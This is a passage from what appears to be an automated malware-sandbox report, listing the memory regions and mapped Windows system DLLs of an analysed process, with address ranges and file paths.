0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2675 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2695 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2696 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2697 start_va = 0x40000 end_va = 0xa6fff entry_point = 0x40000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2698 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 2699 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2700 start_va = 0x210000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2701 start_va = 0x310000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2702 start_va = 0x500000 end_va = 0x50ffff entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 2703 start_va = 0x510000 end_va = 0x697fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 2704 start_va = 0x6a0000 end_va = 0x820fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 2705 start_va = 0x830000 end_va = 0x1c2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 2706 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2707 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2708 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2709 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2710 start_va = 0x7fef79d0000 end_va = 0x7fef7bb9fff entry_point = 0x7fef79d0000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 2711 start_va = 0x7fef7bc0000 end_va = 0x7fef7df9fff entry_point = 0x7fef7bc0000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 2712 start_va = 0x7fef9d20000 end_va = 0x7fef9d22fff entry_point = 0x7fef9d20000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 2713 start_va = 0x7fef9d30000 end_va = 0x7fef9d32fff entry_point = 0x7fef9d30000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 2714 start_va = 0x7fef9d40000 end_va = 0x7fef9d42fff entry_point = 0x7fef9d40000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 2715 start_va = 0x7fef9d50000 end_va = 0x7fef9d52fff entry_point = 0x7fef9d50000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 2716 start_va = 0x7fef9d60000 end_va = 0x7fef9d64fff entry_point = 0x7fef9d60000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 2717 start_va = 0x7fef9d70000 end_va = 0x7fef9d74fff entry_point = 0x7fef9d70000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 2718 start_va = 0x7fef9d80000 end_va = 0x7fef9d82fff entry_point = 0x7fef9d80000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 2719 start_va = 0x7fef9d90000 end_va = 0x7fef9e2bfff entry_point = 0x7fef9d90000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 2720 start_va = 0x7fef9e30000 end_va = 0x7fef9e33fff entry_point = 0x7fef9e30000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 2721 start_va = 0x7fef9e40000 end_va = 0x7fef9e43fff entry_point = 0x7fef9e40000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 2722 start_va = 0x7fef9e50000 end_va = 0x7fef9e52fff entry_point = 0x7fef9e50000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 2723 start_va = 0x7fef9e60000 end_va = 0x7fef9e63fff entry_point = 0x7fef9e60000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 2724 start_va = 0x7fef9e70000 end_va = 0x7fef9e72fff entry_point = 0x7fef9e70000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 2725 start_va = 0x7fef9e80000 end_va = 0x7fef9e82fff entry_point = 0x7fef9e80000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 2726 start_va = 0x7fef9e90000 end_va = 0x7fef9e92fff entry_point = 0x7fef9e90000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2727 start_va = 0x7fef9ea0000 end_va = 0x7fef9ea2fff entry_point = 0x7fef9ea0000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 2728 start_va = 0x7fef9eb0000 end_va = 0x7fef9eb2fff entry_point = 0x7fef9eb0000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 2729 start_va = 0x7fef9ec0000 end_va = 0x7fef9ec2fff entry_point = 0x7fef9ec0000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 2730 start_va = 0x7fef9ed0000 end_va = 0x7fef9fc1fff entry_point = 0x7fef9ed0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 2731 start_va = 0x7fef9fd0000 end_va = 0x7fef9fd3fff entry_point = 0x7fef9fd0000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 2732 start_va = 0x7fef9fe0000 end_va = 0x7fef9ff5fff entry_point = 0x7fef9fe0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 2733 start_va = 0x7fefc8d0000 end_va = 0x7fefc8edfff entry_point = 0x7fefc8d0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2734 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd530000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2735 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2736 start_va = 0x7fefd970000 end_va = 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2737 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2738 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2739 start_va = 0x7fefdcf0000 end_va = 0x7fefdd60fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2740 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2741 start_va = 0x7fefde50000 end_va = 0x7fefebd7fff entry_point = 0x7fefde50000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2742 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2743 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2744 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2745 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2746 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2747 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2748 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2749 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2750 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2751 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2752 start_va = 0x1c30000 end_va = 0x1efefff entry_point = 0x1c30000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2753 start_va = 0x1f00000 end_va = 0x22f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 2754 start_va = 0x37620000 end_va = 0x3762ffff entry_point = 0x0 region_type = private name = "private_0x0000000037620000" filename = "" Region: id = 2808 start_va = 0x7febd6d0000 end_va = 0x7febd6dffff entry_point = 0x0 region_type = private name = "private_0x000007febd6d0000" filename = "" Region: id = 2943 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2944 start_va = 0x410000 end_va = 0x410fff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 2945 start_va = 0x7fef9a00000 end_va = 0x7fef9d15fff entry_point = 0x7fef9a00000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2946 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3194 start_va = 0x420000 end_va = 0x4fefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 3195 start_va = 0x2300000 end_va = 0x23fffff entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 3196 start_va = 0x2400000 end_va = 0x2400fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002400000" filename = "" Region: id = 3197 start_va = 0x2410000 end_va = 0x2410fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002410000" filename = "" Region: id = 3198 start_va = 0x2420000 end_va = 0x2420fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002420000" filename = "" Region: id = 3199 start_va = 0x2430000 end_va = 0x2431fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002430000" filename = "" Region: id = 3200 start_va = 0x2450000 end_va = 0x2451fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002450000" filename = "" Region: id = 3201 start_va = 0x24f0000 end_va = 0x256ffff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 3202 start_va = 0x25f0000 end_va = 0x26effff entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 3203 start_va = 0x2750000 end_va = 0x284ffff entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 3204 start_va = 0x2850000 end_va = 0x290ffff entry_point = 0x2850000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3205 start_va = 0x2920000 end_va = 0x2a1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 3206 start_va = 0x2a20000 end_va = 0x2b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a20000" filename = "" Region: id = 3207 start_va = 0x2b20000 end_va = 0x2c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 3208 start_va = 0x2cd0000 end_va = 0x2cdffff entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 3209 start_va = 0x2de0000 end_va = 0x2edffff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 3210 start_va = 0x2ff0000 end_va = 0x30effff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 3211 start_va = 0x3180000 end_va = 0x327ffff entry_point = 0x0 region_type = private name = "private_0x0000000003180000" filename = "" Region: id = 3212 start_va = 0x32d0000 end_va = 0x32dffff entry_point = 0x0 region_type = private name = "private_0x00000000032d0000" filename = "" Region: id = 3213 start_va = 0x3310000 end_va = 0x340ffff entry_point = 0x0 region_type = private name = "private_0x0000000003310000" filename = "" Region: id = 3214 start_va = 0x35a0000 end_va = 0x369ffff entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 3215 start_va = 0x36a0000 end_va = 0x39e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000036a0000" filename = "" Region: id = 3216 start_va = 0x3a20000 end_va = 0x3b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a20000" filename = "" Region: id = 3217 start_va = 0x3b90000 end_va = 0x3c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b90000" filename = "" Region: id = 3218 start_va = 0x777b0000 end_va = 0x777b2fff entry_point = 0x777b0000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 3219 start_va = 0x7fee2100000 end_va = 0x7fee219ffff entry_point = 0x7fee2100000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 3220 start_va = 0x7fef5270000 end_va = 0x7fef527bfff entry_point = 0x7fef5270000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 3221 start_va = 0x7fef61c0000 end_va = 0x7fef6223fff entry_point = 0x7fef61c0000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 3222 start_va = 0x7fef6230000 end_va = 0x7fef62a0fff entry_point = 0x7fef6230000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 3223 start_va = 0x7fef67d0000 end_va = 0x7fef6843fff entry_point = 0x7fef67d0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 3224 start_va = 0x7fef97e0000 end_va = 0x7fef99fcfff entry_point = 0x7fef97e0000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 3225 start_va = 0x7fefad50000 end_va = 0x7fefad67fff entry_point = 0x7fefad50000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 3226 start_va = 0x7fefad70000 end_va = 0x7fefad80fff entry_point = 0x7fefad70000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 3227 start_va = 0x7fefaff0000 end_va = 0x7fefaffafff entry_point = 0x7fefaff0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3228 start_va = 0x7fefb000000 end_va = 0x7fefb026fff entry_point = 0x7fefb000000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3229 start_va = 0x7fefb1a0000 end_va = 0x7fefb1b4fff entry_point = 0x7fefb1a0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3230 start_va = 0x7fefb4a0000 end_va = 0x7fefb4ccfff entry_point = 0x7fefb4a0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3231 start_va = 0x7fefba20000 end_va = 0x7fefba37fff entry_point = 0x7fefba20000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 3232 start_va = 0x7fefbe50000 end_va = 0x7fefbea5fff entry_point = 0x7fefbe50000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3233 start_va = 0x7fefc030000 end_va = 0x7fefc223fff entry_point = 0x7fefc030000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 3234 start_va = 0x7fefc6f0000 end_va = 0x7fefc6fbfff entry_point = 0x7fefc6f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3235 start_va = 0x7fefca20000 end_va = 0x7fefca29fff entry_point = 0x7fefca20000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3236 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3237 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3238 start_va = 0x7fefd3c0000 end_va = 0x7fefd3cafff entry_point = 0x7fefd3c0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3239 start_va = 0x7fefd3f0000 end_va = 0x7fefd414fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3240 start_va = 0x7fefd510000 end_va = 0x7fefd523fff entry_point = 0x7fefd510000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3241 start_va = 0x7fefd5d0000 end_va = 0x7fefd5defff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3242 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3243 start_va = 0x7fefd900000 end_va = 0x7fefd94cfff entry_point = 0x7fefd900000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3244 start_va = 0x7fefdbb0000 end_va = 0x7fefdcd9fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 3245 start_va = 0x7fefde40000 end_va = 0x7fefde47fff entry_point = 0x7fefde40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3246 start_va = 0x7fefec10000 end_va = 0x7fefed87fff entry_point = 0x7fefec10000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 3247 start_va = 0x7feff080000 end_va = 0x7feff2d8fff entry_point = 0x7feff080000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 3248 start_va = 0x7feff4e0000 end_va = 0x7feff531fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3249 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3250 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3251 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3252 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3253 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3254 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3255 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3256 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 3257 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3258 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3259 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3425 start_va = 0x2440000 end_va = 0x244bfff entry_point = 0x2440000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 3426 start_va = 0x2460000 end_va = 0x2467fff entry_point = 0x2460000 region_type = mapped_file name = "index.dat" filename = 